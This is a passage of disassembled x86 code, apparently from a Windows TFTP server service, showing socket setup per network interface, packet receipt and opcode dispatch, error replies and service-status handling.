push offset dword_1006048
push dword_10060A0
call ds:RtlCreateTimer ; RtlCreateTimer
push esi ; lpName
push esi ; bInitialState
push esi ; bManualReset
push esi ; lpEventAttributes
mov edi, eax
call ds:CreateEventA ; CreateEventA
cmp eax, esi
mov dword_1005DF8, eax
jnz short loc_10019A2
mov eax, edi
jmp short loc_10019EB
; ---------------------------------------------------------------------------
loc_10019A2: ; CODE XREF: sub_10018DB+C1j
push esi
push 0FFFFFFFFh
push esi
push offset sub_1002219
push eax
push offset dword_1005DFC
call ds:RtlRegisterWait ; RtlRegisterWait
cmp eax, esi
jnz short loc_10019EB
mov ecx, offset overlapped
xor eax, eax
mov edi, ecx
push ecx ; overlapped
stosd
stosd
stosd
stosd
stosd
mov eax, dword_1005DF8
push offset Handle ; Handle
mov overlapped.hEvent, eax
call NotifyAddrChange ; NotifyAddrChange
cmp eax, esi
jz short loc_10019E9
cmp eax, 3E5h
jnz short loc_10019EB
loc_10019E9: ; CODE XREF: sub_10018DB+105j
xor eax, eax
loc_10019EB: ; CODE XREF: sub_10018DB+89j
; sub_10018DB+C5j ...
pop edi
pop esi
pop ebx
leave
retn
sub_10018DB endp
; =============== S U B R O U T I N E =======================================
sub_10019F0 proc near ; CODE XREF: sub_1001665+203p
mov eax, offset lpMem
push offset CriticalSection ; lpCriticalSection
mov dword_100607C, eax
mov lpMem, eax
call ds:InitializeCriticalSection ; InitializeCriticalSection
push 0 ; dwMaximumSize
push 0EFD1Ch ; dwInitialSize
push 0 ; flOptions
call ds:HeapCreate ; HeapCreate
mov hHeap, eax
retn
sub_10019F0 endp
; =============== S U B R O U T I N E =======================================
sub_1001A1F proc near ; CODE XREF: sub_10029BA+79p
push ebx
push esi
mov ebx, offset CriticalSection
push edi
push ebx ; lpCriticalSection
xor esi, esi
call ds:EnterCriticalSection
mov eax, dword_1005DF0
sub eax, dword_1005DF4
cmp eax, 0Ah
jbe short loc_1001A46
shr eax, 1
mov esi, eax
jmp short loc_1001A4E
; ---------------------------------------------------------------------------
loc_1001A46: ; CODE XREF: sub_1001A1F+1Fj
cmp eax, 3
jbe short loc_1001A4E
push 2
pop esi
loc_1001A4E: ; CODE XREF: sub_1001A1F+25j
; sub_1001A1F+2Aj
test esi, esi
jbe short loc_1001A86
mov edi, esi
loc_1001A54: ; CODE XREF: sub_1001A1F+65j
mov eax, lpMem
mov esi, eax
mov ecx, [eax]
mov eax, [eax+4]
mov [eax], ecx
mov [ecx+4], eax
push dword ptr [esi+30h] ; hObject
call ds:CloseHandle ; CloseHandle
push esi ; lpMem
push 0 ; dwFlags
push hHeap ; hHeap
call ds:HeapFree
dec dword_1005DF0
dec edi
jnz short loc_1001A54
loc_1001A86: ; CODE XREF: sub_1001A1F+31j
push ebx ; lpCriticalSection
call ds:LeaveCriticalSection
pop edi
pop esi
pop ebx
retn
sub_1001A1F endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_1001A91(SOCKET s, int)
sub_1001A91 proc near ; CODE XREF: .text:01001DCCp
; .text:01001DE1p
dwFlags = dword ptr -10004h
argp = dword ptr -10000h
Fromlen = dword ptr -0FFFCh
var_FFF8 = dword ptr -0FFF8h
Buffers = _WSABUF ptr -0FFF4h
Handles = dword ptr -0FFECh
var_FFE8 = dword ptr -0FFE8h
Overlapped = _OVERLAPPED ptr -0FFE4h
to = sockaddr ptr -0FFD0h
var_FFC0 = dword ptr -0FFC0h
s = dword ptr 4
arg_4 = dword ptr 8
mov eax, 10004h
call _chkstk ; _chkstk
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov [esp+10014h+dwFlags], ebp
mov ebx, offset CriticalSection
loc_1001AAA: ; CODE XREF: sub_1001A91+291j
lea eax, [esp+10014h+argp]
push eax ; argp
push 4004667Fh ; cmd
push [esp+1001Ch+s] ; s
call ds:ioctlsocket ; ioctlsocket
cmp eax, ebp
jnz loc_1001D27
cmp [esp+10014h+argp], ebp
jz loc_1001D65
xor eax, eax
lea edi, [esp+10014h+Overlapped]
stosd
stosd
stosd
stosd
push ebx ; lpCriticalSection
stosd
call ds:EnterCriticalSection
mov eax, lpMem
inc dword_1005DF4
cmp eax, offset lpMem
jz short loc_1001B11
mov ecx, [eax]
mov esi, eax
mov eax, [eax+4]
mov [eax], ecx
mov [ecx+4], eax
push dword ptr [esi+30h] ; hEvent
call ds:ResetEvent ; ResetEvent
mov eax, [esi+30h]
jmp short loc_1001B41
; ---------------------------------------------------------------------------
loc_1001B11: ; CODE XREF: sub_1001A91+64j
inc dword_1005DF0
push 2FF6Ch ; dwBytes
push 8 ; dwFlags
push hHeap ; hHeap
call ds:HeapAlloc
mov esi, eax
cmp esi, ebp
jz loc_1001D5E
push ebp ; lpName
push ebp ; bInitialState
push ebp ; bManualReset
push ebp ; lpEventAttributes
call ds:CreateEventA ; CreateEventA
mov [esi+30h], eax
loc_1001B41: ; CODE XREF: sub_1001A91+7Ej
push ebx ; lpCriticalSection
mov [esp+10018h+Overlapped.hEvent], eax
call ds:LeaveCriticalSection
lea ebp, [esi+34h]
mov ecx, 3FEFh
xor eax, eax
mov edi, ebp
rep stosd
stosb
mov eax, [esp+10014h+arg_4]
mov [esp+10014h+Buffers.buf], ebp
mov [esp+10014h+Buffers.len], 0FFBDh
mov [esp+10014h+Fromlen], 10h
mov [esi+1Ch], eax
lea eax, [esp+10014h+Overlapped]
push 0 ; lpCompletionRoutine
push eax ; lpOverlapped
lea eax, [esp+1001Ch+Fromlen]
lea edi, [esi+2Ch]
push eax ; lpFromlen
lea eax, [esi+0Ch]
push eax ; lpFrom
lea eax, [esp+10024h+dwFlags]
push eax ; lpFlags
push edi ; lpNumberOfBytesRecvd
lea eax, [esp+1002Ch+Buffers]
push 1 ; dwBufferCount
push eax ; lpBuffers
push [esp+10034h+s] ; s
call ds:WSARecvFrom ; WSARecvFrom
mov [esp+10014h+var_FFF8], eax
mov ax, [esi+0Eh]
push eax ; netshort
call ds:ntohs ; ntohs
cmp [esp+10014h+var_FFF8], 0
jz short loc_1001C34
call ds:WSAGetLastError ; WSAGetLastError
cmp eax, 3E5h
jnz loc_1001D2F
mov eax, hEvent
push 0FFFFFFFFh ; dwMilliseconds
mov [esp+10018h+Handles], eax
mov eax, [esp+10018h+Overlapped.hEvent]
mov [esp+10018h+var_FFE8], eax
lea eax, [esp+10018h+Handles]
push 0 ; bWaitAll
push eax ; lpHandles
push 2 ; nCount
call ds:WaitForMultipleObjects ; WaitForMultipleObjects
cmp eax, 0FFFFFFFFh
jz loc_1001D2F
cmp eax, 102h
jz loc_1001D2F
test eax, eax
jz loc_1001D2F
lea eax, [esp+10014h+dwFlags]
push eax ; lpdwFlags
push 0 ; fWait
lea eax, [esp+1001Ch+Overlapped]
push edi ; lpcbTransfer
push eax ; lpOverlapped
push [esp+10024h+s] ; s
call ds:WSAGetOverlappedResult ; WSAGetOverlappedResult
test eax, eax
jnz short loc_1001C34
call ds:WSAGetLastError ; WSAGetLastError
jmp loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001C34: ; CODE XREF: sub_1001A91+129j
; sub_1001A91+196j
push 0 ; dwMilliseconds
push hEvent ; hHandle
call ds:WaitForSingleObject ; WaitForSingleObject
test eax, eax
jz loc_1001D2F
cmp dword ptr [edi], 2
jl loc_1001CEA
xor edi, edi
cmp [esp+10014h+arg_4], edi
jz short loc_1001CDA
mov ax, [ebp+0]
push eax ; hostshort
call ds:htons ; htons
movzx ecx, ax
test ecx, ecx
jle short loc_1001CB8
cmp ecx, 2
jle short loc_1001C81
cmp ecx, 4
jz short loc_1001CB8
cmp ecx, 5
jnz short loc_1001CB8
jmp short loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001C81: ; CODE XREF: sub_1001A91+1E2j
cmp ax, 1
jnz short loc_1001C94
inc dword_10060C4
mov edi, offset sub_1002F31
jmp short loc_1001CA5
; ---------------------------------------------------------------------------
loc_1001C94: ; CODE XREF: sub_1001A91+1F4j
cmp ax, 2
jnz short loc_1001CA5
inc dword_10060C8
mov edi, offset sub_100333A
loc_1001CA5: ; CODE XREF: sub_1001A91+201j
; sub_1001A91+207j
mov eax, [esp+10014h+s]
test edi, edi
mov [esi+8], eax
jz short loc_1001CEA
push esi
call edi ; sub_1002F31
jmp short loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001CB8: ; CODE XREF: sub_1001A91+1DDj
; sub_1001A91+1E7j ...
push 0 ; int
push 4 ; hostshort
push [esp+1001Ch+s] ; s
inc dword_10060CC
lea eax, [esp+10020h+var_FFC0]
push eax ; int
lea eax, [esp+10024h+to]
push eax ; to
call sub_100230A
jmp short loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001CDA: ; CODE XREF: sub_1001A91+1CBj
mov eax, [esp+10014h+s]
push esi
mov [esi+8], eax
call sub_1002EC8
loc_1001CEA: ; CODE XREF: sub_1001A91+19Ej
; sub_1001A91+1BCj ...
push ebx ; lpCriticalSection
call ds:EnterCriticalSection
mov eax, lpMem
mov dword ptr [esi+4], offset lpMem
mov [esi], eax
push offset Addend ; lpAddend
mov [eax+4], esi
mov lpMem, esi
call ds:InterlockedIncrement ; InterlockedIncrement
dec dword_1005DF4
push ebx ; lpCriticalSection
call ds:LeaveCriticalSection
xor ebp, ebp
jmp loc_1001AAA
; ---------------------------------------------------------------------------
loc_1001D27: ; CODE XREF: sub_1001A91+32j
call ds:WSAGetLastError ; WSAGetLastError
jmp short loc_1001D65
; ---------------------------------------------------------------------------
loc_1001D2F: ; CODE XREF: sub_1001A91+136j
; sub_1001A91+161j ...
push ebx ; lpCriticalSection
call ds:EnterCriticalSection
mov eax, lpMem
mov dword ptr [esi+4], offset lpMem
mov [esi], eax
push offset Addend ; lpAddend
mov [eax+4], esi
mov lpMem, esi
call ds:InterlockedIncrement ; InterlockedIncrement
dec dword_1005DF4
loc_1001D5E: ; CODE XREF: sub_1001A91+9Dj
push ebx ; lpCriticalSection
call ds:LeaveCriticalSection
loc_1001D65: ; CODE XREF: sub_1001A91+3Cj
; sub_1001A91+29Cj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10004h
retn 8
sub_1001A91 endp
; ---------------------------------------------------------------------------
loc_1001D74: ; DATA XREF: sub_100188E+2Do
push ecx
push ebx
push ebp
push esi
mov esi, offset stru_1006020
push edi
mov edi, ds:TryEnterCriticalSection
push esi
xor ebp, ebp
xor ebx, ebx
call edi ; TryEnterCriticalSection
loc_1001D8B: ; CODE XREF: .text:01001DA1j
test eax, eax
jnz short loc_1001DA7
push 0C8h
call ds:Sleep ; Sleep
push esi
call edi ; TryEnterCriticalSection
inc ebx
cmp ebx, 7Dh
jb short loc_1001D8B
test eax, eax
jz short loc_1001DD1
loc_1001DA7: ; CODE XREF: .text:01001D8Dj
lea eax, [esp+10h]
push eax
push dword ptr [esp+1Ch]
call sub_10021E5
test eax, eax
jnz short loc_1001DC0
mov eax, [esp+10h]
mov ebp, [eax+0Ch]
loc_1001DC0: ; CODE XREF: .text:01001DB7j
push esi
call ds:LeaveCriticalSection
push ebp
push dword ptr [esp+1Ch]
call sub_1001A91
loc_1001DD1: ; CODE XREF: .text:01001DA5j
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_1001DDB: ; DATA XREF: sub_100188E:loc_10018C2o
push 0
push dword ptr [esp+8]
call sub_1001A91
xor eax, eax
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __stdcall HandlerProc(DWORD)
HandlerProc proc near ; DATA XREF: sub_1001665+6o
Time = qword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+Time]
push eax ; Time
call ds:time ; time
inc ServiceStatus.dwCheckPoint
pop ecx
lea eax, [ebp+Time]
push eax ; Time
call ds:ctime ; ctime
mov eax, [ebp+arg_0]
pop ecx
dec eax
jz short loc_1001E68
dec eax
jz short loc_1001E35
dec eax
jz short loc_1001E1D
dec eax
dec eax
jz short loc_1001E68
jmp short loc_1001E4B
; ---------------------------------------------------------------------------
loc_1001E1D: ; CODE XREF: HandlerProc+2Aj
push hThread ; hThread
call ds:ResumeThread ; ResumeThread
mov ServiceStatus.dwCurrentState, 4
jmp short loc_1001E4B
; ---------------------------------------------------------------------------
loc_1001E35: ; CODE XREF: HandlerProc+27j
push hThread ; hThread
call ds:SuspendThread ; SuspendThread
mov ServiceStatus.dwCurrentState, 7
loc_1001E4B: ; CODE XREF: HandlerProc+30j
; HandlerProc+48j
push offset ServiceStatus ; lpServiceStatus
push hServiceStatus ; hServiceStatus
call ds:SetServiceStatus ; SetServiceStatus
test eax, eax
jnz short locret_1001E6F
call ds:GetLastError
jmp short locret_1001E6F
; ---------------------------------------------------------------------------
loc_1001E68: ; CODE XREF: HandlerProc+24j
; HandlerProc+2Ej
push 0
call sub_1001E73
locret_1001E6F: ; CODE XREF: HandlerProc+73j
; HandlerProc+7Bj
leave
retn 4
HandlerProc endp
; =============== S U B R O U T I N E =======================================
sub_1001E73 proc near ; CODE XREF: sub_1001665+B9p
; HandlerProc+7Fp
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, ds:SetServiceStatus
push edi
mov edi, offset ServiceStatus
push edi ; lpServiceStatus
mov ServiceStatus.dwCurrentState, 3
push hServiceStatus ; hServiceStatus
call esi ; SetServiceStatus
mov ebp, ds:GetLastError
xor ebx, ebx
cmp eax, ebx
jnz short loc_1001EA3
call ebp ; GetLastError
loc_1001EA3: ; CODE XREF: sub_1001E73+2Cj
push hEvent ; hEvent
call ds:SetEvent ; SetEvent
mov ServiceStatus.dwCurrentState, 1
mov ServiceStatus.dwCheckPoint, ebx
mov eax, [esp+10h+arg_0]
mov ServiceStatus.dwWaitHint, ebx
cmp eax, ebx
jnz short loc_1001EDB
mov ServiceStatus.dwWin32ExitCode, ebx
mov ServiceStatus.dwServiceSpecificExitCode, ebx
jmp short loc_1001EFD
; ---------------------------------------------------------------------------
loc_1001EDB: ; CODE XREF: sub_1001E73+58j
cmp eax, 834h
jb short loc_1001EF3
cmp eax, 16A7h
mov ServiceStatus.dwWin32ExitCode, 42Ah
jbe short loc_1001EF8
loc_1001EF3: ; CODE XREF: sub_1001E73+6Dj
mov ServiceStatus.dwWin32ExitCode, eax
loc_1001EF8: ; CODE XREF: sub_1001E73+7Ej
mov ServiceStatus.dwServiceSpecificExitCode, eax
loc_1001EFD: ; CODE XREF: sub_1001E73+66j
push edi ; lpServiceStatus
push hServiceStatus ; hServiceStatus
call esi ; SetServiceStatus
cmp eax, ebx
jnz short loc_1001F0C
call ebp ; GetLastError
loc_1001F0C: ; CODE XREF: sub_1001E73+95j
mov eax, hObject
mov esi, ds:CloseHandle
cmp eax, ebx
jz short loc_1001F24
push eax ; hObject
call esi ; CloseHandle
mov hObject, ebx
loc_1001F24: ; CODE XREF: sub_1001E73+A6j
mov eax, hEvent
cmp eax, ebx
jz short loc_1001F36
push eax ; hObject
call esi ; CloseHandle
mov hEvent, ebx
loc_1001F36: ; CODE XREF: sub_1001E73+B8j
mov eax, File
cmp eax, ebx
jz short loc_1001F4D
push eax ; File
call ds:fclose ; fclose
pop ecx
mov File, ebx
loc_1001F4D: ; CODE XREF: sub_1001E73+CAj
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_1001E73 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_1001F54(void *Memory)
sub_1001F54 proc near ; CODE XREF: sub_1002182+1Cp
; sub_1002219+B7p
Memory = dword ptr 4
push esi
mov esi, [esp+4+Memory]
push 0FFFFFFFFh
push dword ptr [esi+10h]
call ds:RtlDeregisterWaitEx ; RtlDeregisterWaitEx
push dword ptr [esi+8] ; s
call ds:closesocket ; closesocket
push dword ptr [esi+14h] ; hEvent
call ds:WSACloseEvent ; WSACloseEvent
mov eax, [esi]
mov ecx, [esi+4]
cmp eax, ecx
jnz short loc_1001F90
mov eax, Memory
mov ecx, [eax]
mov eax, [eax+4]
mov [eax], ecx
mov [ecx+4], eax
jmp short loc_1001F9A
; ---------------------------------------------------------------------------
loc_1001F90: ; CODE XREF: sub_1001F54+29j
mov [ecx], eax
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
loc_1001F9A: ; CODE XREF: sub_1001F54+3Aj
push esi ; Memory
call ds:free ; free
pop ecx
pop esi
retn 4
sub_1001F54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1001FA6 proc near ; CODE XREF: sub_10018DB+3Dp
; sub_1002219+1Dp
var_8 = dword ptr -8
Size = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
xor edi, edi
lea eax, [ebp+Size]
push edi ; bOrder
push eax ; pdwSize
push edi ; pIpAddrTable
mov [ebp+Size], edi
mov [ebp+var_8], 0C0000017h
mov [ebx], edi
call GetIpAddrTable ; GetIpAddrTable
cmp eax, edi
jz short loc_1001FD3
cmp eax, 7Ah
jnz short loc_100201A
loc_1001FD3: ; CODE XREF: sub_1001FA6+26j
push [ebp+Size] ; Size
call ds:malloc ; malloc
mov esi, eax
pop ecx
cmp esi, edi
jz short loc_100201A
loc_1001FE3: ; CODE XREF: sub_1001FA6+63j
lea eax, [ebp+Size]
push edi ; bOrder
push eax ; pdwSize
push esi ; pIpAddrTable
call GetIpAddrTable ; GetIpAddrTable
cmp eax, edi
jz short loc_1002015
cmp eax, 7Ah
jnz short loc_100201A
push [ebp+Size] ; NewSize
push esi ; Memory
call ds:realloc ; realloc
pop ecx
cmp eax, edi
pop ecx
jz short loc_100200B
mov esi, eax
jmp short loc_1001FE3
; ---------------------------------------------------------------------------
loc_100200B: ; CODE XREF: sub_1001FA6+5Fj
push esi ; Memory
call ds:free ; free
pop ecx
jmp short loc_100201A
; ---------------------------------------------------------------------------
loc_1002015: ; CODE XREF: sub_1001FA6+4Aj
mov [ebp+var_8], edi
mov [ebx], esi
loc_100201A: ; CODE XREF: sub_1001FA6+2Bj
; sub_1001FA6+3Bj ...
mov eax, [ebp+var_8]
pop edi
pop esi
pop ebx
leave
retn 4
sub_1001FA6 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_1002024(struct in_addr in, int)
sub_1002024 proc near ; CODE XREF: sub_100205A+B7p
in = in_addr ptr 4
arg_4 = dword ptr 8
push dword ptr [esp+in.S_un] ; in
call ds:inet_ntoa ; inet_ntoa
test eax, eax
jz short locret_1002057
push edi
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
push esi
mov eax, ecx
mov esi, edi
mov edi, [esp+8+arg_4]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop esi
pop edi
locret_1002057: ; CODE XREF: sub_1002024+Cj
retn 8
sub_1002024 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_100205A(struct in_addr in)
sub_100205A proc near ; CODE XREF: sub_10018DB+64p
; sub_1002219+65p ...
var_28 = dword ptr -28h
name = sockaddr ptr -14h
var_4 = dword ptr -4
in = in_addr ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
xor esi, esi
push edi
mov [ebp+var_4], esi
loc_1002068: ; CODE XREF: sub_100205A+5Dj
push 1 ; dwFlags
push esi ; g
push esi ; lpProtocolInfo
push esi ; protocol
push 2 ; type
push 2 ; af
call ds:WSASocketA ; WSASocketA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_100209D
xor eax, eax
lea edi, [ebp+name]
stosd
stosd
stosd
push offset proto ; "udp"
push offset name ; "tftp"
stosd
call ds:getservbyname ; getservbyname
cmp eax, esi
jnz short loc_10020B9
jmp short loc_10020B1
; ---------------------------------------------------------------------------
loc_100209D: ; CODE XREF: sub_100205A+22j
call ds:WSAGetLastError ; WSAGetLastError
push 2EEh ; dwMilliseconds
call ds:Sleep ; Sleep
inc [ebp+var_4]
loc_10020B1: ; CODE XREF: sub_100205A+41j
cmp [ebp+var_4], 0Ah
jge short loc_10020E6
jmp short loc_1002068
; ---------------------------------------------------------------------------
loc_10020B9: ; CODE XREF: sub_100205A+3Fj
mov [ebp+name.sa_family], 2
mov ax, [eax+8]
mov word ptr [ebp+name.sa_data], ax
mov eax, dword ptr [ebp+in.S_un]
mov dword ptr [ebp+name.sa_data+2], eax
lea eax, [ebp+name]
push 10h ; namelen
push eax ; name
push ebx ; s
call ds:bind ; bind
test eax, eax
jz short loc_10020E6
call ds:GetLastError
jmp short loc_100215E
; ---------------------------------------------------------------------------
loc_10020E6: ; CODE XREF: sub_100205A+5Bj
; sub_100205A+82j
cmp ebx, 0FFFFFFFFh
jz short loc_100215E
push 20h ; Size
call ds:malloc ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_100213D
push 8
xor eax, eax
pop ecx
mov edi, esi
rep stosd
mov eax, dword ptr [ebp+in.S_un]
lea ecx, [ebp+var_28]
push ecx ; int
push eax ; in
mov [esi+8], ebx
mov [esi+0Ch], eax
call sub_1002024
xor eax, eax
push eax ; lpName
push eax ; bInitialState
push eax ; bManualReset
push eax ; lpEventAttributes
call ds:CreateEventA ; CreateEventA
mov edi, eax
test edi, edi
jz short loc_1002140
push 1 ; char
push edi ; hEventObject
push ebx ; s
mov [esi+14h], edi
call sub_100188E
test eax, eax
mov [esi+10h], eax
jnz short loc_1002162
jmp short loc_1002140
; ---------------------------------------------------------------------------
loc_100213D: ; CODE XREF: sub_100205A+9Ej
mov edi, dword ptr [ebp+in.S_un]
loc_1002140: ; CODE XREF: sub_100205A+CCj
; sub_100205A+E1j
push ebx ; s
call ds:closesocket ; closesocket
test edi, edi
jz short loc_1002152
push edi ; hObject
call ds:CloseHandle ; CloseHandle
loc_1002152: ; CODE XREF: sub_100205A+EFj
test esi, esi
jz short loc_100215E
push esi ; Memory
call ds:free ; free
pop ecx
loc_100215E: ; CODE XREF: sub_100205A+8Aj
; sub_100205A+8Fj ...
xor eax, eax
jmp short loc_100217B
; ---------------------------------------------------------------------------
loc_1002162: ; CODE XREF: sub_100205A+DFj
mov eax, Memory
mov dword ptr [esi+4], offset Memory
mov [esi], eax
mov [eax+4], esi
mov Memory, esi
mov eax, esi
loc_100217B: ; CODE XREF: sub_100205A+106j
pop edi
pop esi
pop ebx
leave
retn 4
sub_100205A endp
; =============== S U B R O U T I N E =======================================
sub_1002182 proc near ; CODE XREF: sub_1002219:loc_1002298p
mov ecx, Memory
push esi
mov esi, offset Memory
xor eax, eax
cmp ecx, esi
jz short loc_10021B3
push edi
loc_1002195: ; CODE XREF: sub_1002182+2Ej
cmp dword ptr [ecx+18h], 0
mov edi, [ecx]
jnz short loc_10021A8
push ecx ; Memory
call sub_1001F54
push 1
pop eax
jmp short loc_10021AC
; ---------------------------------------------------------------------------
loc_10021A8: ; CODE XREF: sub_1002182+19j
and dword ptr [ecx+18h], 0
loc_10021AC: ; CODE XREF: sub_1002182+24j
cmp edi, esi
mov ecx, edi
jnz short loc_1002195
pop edi
loc_10021B3: ; CODE XREF: sub_1002182+10j
pop esi
retn
sub_1002182 endp
; =============== S U B R O U T I N E =======================================
sub_10021B5 proc near ; CODE XREF: sub_1002219+43p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
push esi
mov ecx, offset Memory
and dword ptr [edx], 0
mov eax, Memory
loc_10021C7: ; CODE XREF: sub_10021B5+21j
cmp eax, ecx
jz short loc_10021DF
mov esi, [eax+0Ch]
cmp esi, [esp+4+arg_0]
jz short loc_10021D8
mov eax, [eax]
jmp short loc_10021C7
; ---------------------------------------------------------------------------
loc_10021D8: ; CODE XREF: sub_10021B5+1Dj
push 1
mov [edx], eax
pop eax
jmp short loc_10021E1
; ---------------------------------------------------------------------------
loc_10021DF: ; CODE XREF: sub_10021B5+14j
xor eax, eax
loc_10021E1: ; CODE XREF: sub_10021B5+28j
pop esi
retn 8
sub_10021B5 endp
; =============== S U B R O U T I N E =======================================
sub_10021E5 proc near ; CODE XREF: .text:01001DB0p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
push esi
mov ecx, offset Memory
and dword ptr [edx], 0
mov eax, Memory
loc_10021F7: ; CODE XREF: sub_10021E5+21j
cmp eax, ecx
jz short loc_100220A
mov esi, [eax+8]
cmp esi, [esp+4+arg_0]
jz short loc_1002208
mov eax, [eax]
jmp short loc_10021F7
; ---------------------------------------------------------------------------
loc_1002208: ; CODE XREF: sub_10021E5+1Dj
mov [edx], eax
loc_100220A: ; CODE XREF: sub_10021E5+14j
mov eax, [edx]
pop esi
neg eax
sbb eax, eax
and al, 0A9h
add eax, 57h
retn 8
sub_10021E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1002219 proc near ; DATA XREF: sub_10018DB+CBo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
Memory = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
xor esi, esi
push offset stru_1006020 ; lpCriticalSection
mov [ebp+var_C], esi
call ds:EnterCriticalSection
lea eax, [ebp+Memory]
push eax
call sub_1001FA6
test eax, eax
jnz short loc_10022A9
mov eax, [ebp+Memory]
xor ebx, ebx
cmp [eax], esi
jbe short loc_1002298
loc_1002248: ; CODE XREF: sub_1002219+7Dj
mov eax, [eax+esi+4]
test eax, eax
jz short loc_100228D
cmp eax, 100007Fh
jz short loc_100228D
lea ecx, [ebp+var_8]
push ecx
push eax
call sub_10021B5
test eax, eax
jz short loc_1002271
mov eax, [ebp+var_8]
mov dword ptr [eax+18h], 1
jmp short loc_100228D
; ---------------------------------------------------------------------------
loc_1002271: ; CODE XREF: sub_1002219+4Aj
mov eax, [ebp+Memory]
push 1
pop edi
push dword ptr [eax+esi+4] ; in
mov [ebp+var_C], edi
call sub_100205A
test eax, eax
mov [ebp+var_8], eax
jz short loc_100228D
mov [eax+18h], edi
loc_100228D: ; CODE XREF: sub_1002219+35j
; sub_1002219+3Cj ...
mov eax, [ebp+Memory]
inc ebx
add esi, 18h
cmp ebx, [eax]
jb short loc_1002248
loc_1002298: ; CODE XREF: sub_1002219+2Dj
call sub_1002182
push [ebp+Memory] ; Memory
mov esi, eax
call ds:free ; free
pop ecx
loc_10022A9: ; CODE XREF: sub_1002219+24j
cmp [ebp+var_C], 0
jnz short loc_10022E9
test esi, esi
jnz short loc_10022E9
mov eax, Memory
mov edi, offset Memory
cmp eax, edi
jz short loc_10022E9
loc_10022C1: ; CODE XREF: sub_1002219+CEj
mov [ebp+var_8], eax
mov ebx, [eax]
test byte ptr [eax+1Ch], 1
jnz short loc_10022E3
mov esi, [eax+0Ch]
push eax ; Memory
call sub_1001F54
push esi ; in
call sub_100205A
test eax, eax
jz short loc_10022E3
or dword ptr [eax+1Ch], 1
loc_10022E3: ; CODE XREF: sub_1002219+B1j
; sub_1002219+C4j
cmp ebx, edi
mov eax, ebx
jnz short loc_10022C1
loc_10022E9: ; CODE XREF: sub_1002219+94j
; sub_1002219+98j ...
push offset overlapped ; overlapped
push offset Handle ; Handle
call NotifyAddrChange ; NotifyAddrChange
push offset stru_1006020 ; lpCriticalSection
call ds:LeaveCriticalSection
pop edi
pop esi
pop ebx
leave
retn 8
sub_1002219 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_100230A(struct sockaddr *to, int, SOCKET s, u_short hostshort, int)
sub_100230A proc near ; CODE XREF: sub_1001A91+242p
; sub_10023D8+23Cp ...
buf = byte ptr -0FFBCh
var_FFBA = word ptr -0FFBAh
var_FFB8 = byte ptr -0FFB8h
to = dword ptr 8
s = dword ptr 10h
hostshort = word ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, 0FFBCh
call _chkstk ; _chkstk
push ebx
push esi
mov esi, ds:htons
push edi
push 5 ; hostshort
call esi ; htons
mov edi, dword ptr [ebp+hostshort]
mov word ptr [ebp+buf], ax
push edi ; hostshort
call esi ; htons
cmp [ebp+arg_10], 0
mov [ebp+var_FFBA], ax
jz short loc_1002369
mov edi, [ebp+arg_10]
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [ebp+var_FFB8]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, [ebp+arg_10]
jmp short loc_10023A2
; ---------------------------------------------------------------------------
loc_1002369: ; CODE XREF: sub_100230A+32j
cmp di, 9
jb short loc_1002371
xor edi, edi
loc_1002371: ; CODE XREF: sub_100230A+63j
movzx eax, di
or ecx, 0FFFFFFFFh
lea ebx, [ebp+var_FFB8]
mov edx, off_1005CC0[eax*4]
xor eax, eax
mov edi, edx
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, edx
loc_10023A2: ; CODE XREF: sub_100230A+5Dj
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
push 10h ; tolen
push [ebp+to] ; to
not ecx
dec ecx
push eax ; flags
add ecx, 5
lea eax, [ebp+buf]
push ecx ; len
push eax ; buf
push [ebp+s] ; s
call ds:sendto ; sendto
cmp eax, 0FFFFFFFFh
jnz short loc_10023D1
call ds:WSAGetLastError ; WSAGetLastError
loc_10023D1: ; CODE XREF: sub_100230A+BFj
pop edi
pop esi
pop ebx
leave
retn 14h
sub_100230A endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_10023D8(int, char *Str1, int, int, int, int)
sub_10023D8 proc near ; CODE XREF: sub_1002F31+302p
; sub_100333A+26Dp
